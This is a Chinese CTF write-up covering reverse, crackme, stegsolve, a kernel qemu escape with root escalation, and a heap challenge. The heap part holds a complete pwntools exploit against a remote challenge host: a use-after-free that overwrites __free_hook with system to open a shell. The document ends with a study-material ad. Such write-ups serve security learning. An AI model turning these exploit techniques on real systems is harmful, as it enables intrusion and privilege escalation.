Reverse
ROP
決議data的ROP,一點一點還原
from pwn import * opcode = open('data', 'rb').read() opcode_gadget = opcode[0x30+8:] for offset in range(0, len(opcode_gadget), 8): print(f'{hex(u64(opcode_gadget[offset:offset+8]))}')
提取出來密文,轉成64位的
cipher = [0x98, 0x7A, 0xDF, 0x57, 0xC6, 0xE3, 0x18, 0xC7, 0x11, 0x07, 0xC7, 0xD4, 0x02, 0xD2, 0x9E, 0x43, 0x3A, 0xCE, 0x32, 0x04, 0x33, 0x2D, 0x30, 0x30, 0xAB, 0x03, 0x84, 0xB2, 0xA9, 0x09, 0xAA, 0x40] cipher=[int.from_bytes(bytes(cipher[i:i+8]), 'little') for i in range(0,32,8)]
分析gadget都是通過設定rax和引數暫存器,然后call rax觸發函式,函式只有4種
然后開始rop鏈,讀取42個字符,提取uuid中32位字符,進行加密運算,運算的最后一部分是swap的操作,測驗得知順序改變為[2,3,0,1]
最后對比密文跳轉結果
照著指令寫一個逆回來的程序
#include <stdio.h> #include <stdlib.h> #include <stdint.h> uint64_t bss_flag[] = {3472325009839672890, 4659547388917318571, 14346467054006008472, 4872562756463036177, 3545518422457791288, 3689401600665085541, 3906648618554712880, 7004559110426617186}; void add(int i,int j){ bss_flag[i] -= bss_flag[j]; } ? void sub(int i,int j){ bss_flag[i] += bss_flag[j]; } ? void xor1(int i,int j){ bss_flag[i] ^= bss_flag[j]; } ? int main(){ sub(0x0,0x7); add(0x1,0x5); sub(0x3,0x7); add(0x0,0x5); add(0x0,0x7); sub(0x3,0x7); add(0x0,0x5); xor1(0x2,0x5); xor1(0x2,0x5); sub(0x3,0x7); sub(0x2,0x6); xor1(0x0,0x7); add(0x2,0x4); add(0x1,0x4); xor1(0x1,0x7); xor1(0x0,0x7); sub(0x0,0x5); sub(0x0,0x7); sub(0x0,0x5); add(0x1,0x7); xor1(0x1,0x5); add(0x1,0x6); sub(0x1,0x4); xor1(0x2,0x4); add(0x1,0x4); sub(0x0,0x6); sub(0x2,0x7); add(0x1,0x6); sub(0x2,0x5); add(0x0,0x7); xor1(0x3,0x6); add(0x2,0x4); xor1(0x0,0x6); xor1(0x0,0x5); xor1(0x3,0x7); xor1(0x0,0x4); xor1(0x2,0x5); xor1(0x2,0x6); xor1(0x2,0x6); xor1(0x3,0x4); xor1(0x0,0x7); xor1(0x2,0x5); xor1(0x0,0x4); xor1(0x3,0x5); xor1(0x1,0x6); xor1(0x3,0x7); xor1(0x0,0x4); xor1(0x1,0x4); xor1(0x2,0x7); xor1(0x1,0x7); xor1(0x0,0x4); xor1(0x2,0x6); xor1(0x0,0x5); xor1(0x1,0x7); xor1(0x0,0x5); xor1(0x0,0x4); xor1(0x3,0x6); xor1(0x1,0x7); xor1(0x2,0x5); xor1(0x0,0x7); xor1(0x0,0x7); xor1(0x2,0x4); xor1(0x3,0x4); xor1(0x3,0x7); printf("%s",(char *)bss_flag); // flag{eb4781b3-e3c5-475e-8af4-2fa50468f485} }
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
crackme
go語言,一開始我ida還f5反編譯不了,換了個才可以,難頂
直接sm4加密和rc4,sm4密鑰寫死在代碼里

rc4的key在linese.txt里,密文也在里面
exp:
from binascii import unhexlify from Crypto.Cipher import ARC4 from sm4 import SM4Key ? c= unhexlify(b'cc53de43058c79e4e13dbfe4e1ece82ec7d70b0fe460d50a6e2dfbbdac0b22173124ac7dee560b026b9b4cf1394c9493ad62874b4ef2125bbe27f99827d2a801b1b994c90bc31caea1cc9dc09362b518') key = b'd0cac74c1bbeea071817360e491585e8' cipher = ARC4.new(key) m = cipher.decrypt(c) key0 = SM4Key(b'xc08asb890ajds0a') print(key0.decrypt(m))
Misc
What is that
stegsolve直接切換幾個通道就可以看到

pwn
hello
直接網上查到kernel pwn qemu 的非預期
ctrl+a然后c進入shell,cat flag沒有權限,要再提權,洗掉/sbin/poweroff然后exit就可以到su權限,再cat flag就可以

heap
一個UAF+陣列上溢位
這里可以輸入負數,可以陣列溢位就可以往上泄露地址,泄露出程式基地址后再相同手法修改free_hook就可以,

from pwn import * context.log_level='debug' #p=process('./pwn') p=remote('47.95.8.59',42283) elf=ELF('./pwn') #libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.5_amd64/libc.so.6') libc=ELF('./libc.so.6') ? def add(size): p.sendafter(b'>\n', b'1') p.sendafter(b'add?\n', str(size).encode()) ? def dele(index): p.sendafter(b'>\n', b'2') p.sendafter(b'up?\n', str(index).encode()) ? def edit(index,size,content): p.sendafter(b'>\n', b'3') p.sendafter(b'write?\n', str(index).encode()) p.sendafter(b'write?\n', str(size).encode()) p.sendafter(b'Content:', content) ? def show(index): p.sendafter(b'>\n', b'4') p.sendafter(b'review?\n', str(index).encode()) ? show(-11) p.recvuntil('Content:') probase=u64(p.recv(6).ljust(8,b'\x00'))-0x4008 arraddr=probase+0x4060 add(0x10) add(0x10) add(0x10) dele(0) dele(1) dele(2) edit(1,8,p64(arraddr)) add(0x10) add(0x10) add(0x10) edit(2,8,p64(probase+elf.got['puts'])) show(0) libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts'] free_hook=libc_base+libc.symbols['__free_hook'] system=libc_base+libc.symbols['system'] edit(2,8,p64(free_hook)) edit(0,8,p64(system)) add(0x10) edit(3,8,b'/bin/sh\x00') dele(3) p.interactive()
更多靶場實驗練習、網安學習資料,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/513708.html
標籤:其他
下一篇:計算機網路導言
